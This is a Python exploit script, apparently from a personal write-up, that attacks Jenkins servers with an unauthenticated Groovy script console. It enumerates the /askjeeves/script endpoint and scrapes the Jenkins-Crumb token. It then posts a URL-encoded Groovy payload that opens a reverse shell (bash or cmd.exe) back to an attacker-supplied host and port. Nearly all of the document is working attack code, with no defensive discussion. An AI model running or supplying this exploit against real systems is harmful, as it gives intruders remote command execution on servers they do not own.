Jenkins Script Groovy Console Exploit in Python

#!/bin/python3 
# These exploits are a work in progress! 
# Author: lyethar
# Add support authentication 
# Change paths to /script accordingly 

import requests
import sys
from colorama import Fore, Back, Style
import subprocess
import urllib.parse



#####BANNER#####
def printBanner1():
	print (Fore.MAGENTA + """
888~-_                                     888                    888   _   ,e,                 
888   \  Y88b    e    / 888-~88e           888  e88~~8e  888-~88e 888 e~ ~   "  888-~88e  d88~\ 
888    |  Y88b  d8b  /  888  888           888 d888  88b 888  888 888d8b    888 888  888 C888   
888   /    Y888/Y88b/   888  888           888 8888__888 888  888 888Y88b   888 888  888  Y88b  
888_-~      Y8/  Y8/    888  888       |   88P Y888    , 888  888 888 Y88b  888 888  888   888D 
888          Y    Y     888  888        \__8"   "88___/  888  888 888  Y88b 888 888  888 \_88P  
                                                                                                  """)
print(Style.RESET_ALL)

######CODE#####
printBanner1()

ip = sys.argv[1]
port = sys.argv[2]
lhost = sys.argv[3]
lport = sys.argv[4]


if len(sys.argv) != 5:
    print("Please enter target IP and Port to run the exploit")
    print("Format: exploit.py ip port lhost lport")
    sys.exit(5)

#Enumerating for script console
print(Fore.RED + "Enumerating for unauthenticated script console")

x = requests.get("http://" + ip + ":" + port + "/askjeeves/script")

if x.status_code == 200:
	print("\nServer is running unauthenticated Jenkins Script Console!")
elif x.status_code != 200:
	print("Protected by a login page?")
	sys.exit(5)
	
#Retrieving Jenkins Crumb
url = 'http://' + ip + ':' + port + "/askjeeves/script"

subprocess.call(['sudo','curl','-X','GET', url,'-o','crumbs.txt'], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT)


content = ""
with open('crumbs.txt', 'r') as reader:
	content = reader.read()

#Get Jenkins Crumb by matching the string Jenkins Crumb and skipping 4 characters away from it, until it reaches ')' 
def findCookie(content):
 cookie = ""
 compare_string = "Jenkins-Crumb"
 
 for i in range(0, len(content)):
   if content[i]  == compare_string[0]:
   #First Letter is matched
     for j in range(0, len(compare_string)):
       #Looping through the compare_string
       if content[i + j] == compare_string[j]:
         #If letters match
         if j == len(compare_string) - 1:
          #If its the last letter of the compare string, start at cookie 
           start = i + j + 5
           iterator = 0
           while content[start + iterator] != ")":
             cookie = cookie + content[start + iterator]
             iterator += 1
 return cookie[:-1] 		  	

 
print("Here is your cookie: " + Fore.MAGENTA + findCookie(content))

JenkinsCrumb = findCookie(content)


payload = input(Fore.RED + "\nEnter Payload Type, bash or cmd.exe: ")
print("\nStart your listener!!")


#Using this URL for future POST request 
url = 'http://' + ip + ':' + port + "/askjeeves/script"

#URL Encoded payload
url_payload = 'String%20host%3D%22' + lhost + '%22%3B%0Aint%20port%3D' + lport + '%3B%0AString%20cmd%3D%22' + payload + '%22%3B%0AProcess%20p%3Dnew%20ProcessBuilder(cmd).redirectErrorStream(true).start()%3BSocket%20s%3Dnew%20Socket(host%2Cport)%3BInputStream%20pi%3Dp.getInputStream()%2Cpe%3Dp.getErrorStream()%2C%20si%3Ds.getInputStream()%3BOutputStream%20po%3Dp.getOutputStream()%2Cso%3Ds.getOutputStream()%3Bwhile(!s.isClosed())%7Bwhile(pi.available()%3E0)so.write(pi.read())%3Bwhile(pe.available()%3E0)so.write(pe.read())%3Bwhile(si.available()%3E0)po.write(si.read())%3Bso.flush()%3Bpo.flush()%3BThread.sleep(50)%3Btry%20%7Bp.exitValue()%3Bbreak%3B%7Dcatch%20(Exception%20e)%7B%7D%7D%3Bp.destroy()%3Bs.close()%3B'

url_json = '%7B%22script%22%3A%20%22String%20host%3D%5C%22' + lhost + '%5C%22%3B%5Cnint%20port%3D' + lport +'%3B%5CnString%20cmd%3D%5C%22'+ payload + '%5C%22%3B%5CnProcess%20p%3Dnew%20ProcessBuilder(cmd).redirectErrorStream(true).start()%3BSocket%20s%3Dnew%20Socket(host%2Cport)%3BInputStream%20pi%3Dp.getInputStream()%2Cpe%3Dp.getErrorStream()%2C%20si%3Ds.getInputStream()%3BOutputStream%20po%3Dp.getOutputStream()%2Cso%3Ds.getOutputStream()%3Bwhile(!s.isClosed())%7Bwhile(pi.available()%3E0)so.write(pi.read())%3Bwhile(pe.available()%3E0)so.write(pe.read())%3Bwhile(si.available()%3E0)po.write(si.read())%3Bso.flush()%3Bpo.flush()%3BThread.sleep(50)%3Btry%20%7Bp.exitValue()%3Bbreak%3B%7Dcatch%20(Exception%20e)%7B%7D%7D%3Bp.destroy()%3Bs.close()%3B%22%2C%20%22%22%3A%20%22' + lhost +'%22%2C%20%22Jenkins-Crumb%22%3A%20%222f110922eac1494f8c910fc6ef1ae85f%22%7D'

#Decode payload and giving it to the payload variable to make POST request
payload2 = urllib.parse.unquote(url_payload)
payload = urllib.parse.unquote_plus(payload2)

#print(payload)
json_payload2 = urllib.parse.unquote(url_json)
json_payload3 = urllib.parse.unquote(json_payload2)
json_payload = urllib.parse.unquote_plus(json_payload3)
#print(json_payload)


x = requests.post(url, data={'script' : payload, 'Jenkins-Crumb' : JenkinsCrumb, 'json' : json_payload,'Submit' : 'Run'}, headers={'Accept-Language' : 'en-US,en;q=0.5', 'Accept-Encoding' : 'gzip, deflate','Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'
,'Host' : ip + ':' + port, 'Origin' : 'http://' + ip + ':' + port, 'Referer' : 'http://' + ip + ':' + port + '/askjeeves/script' })



sys.exit(0)

Last updated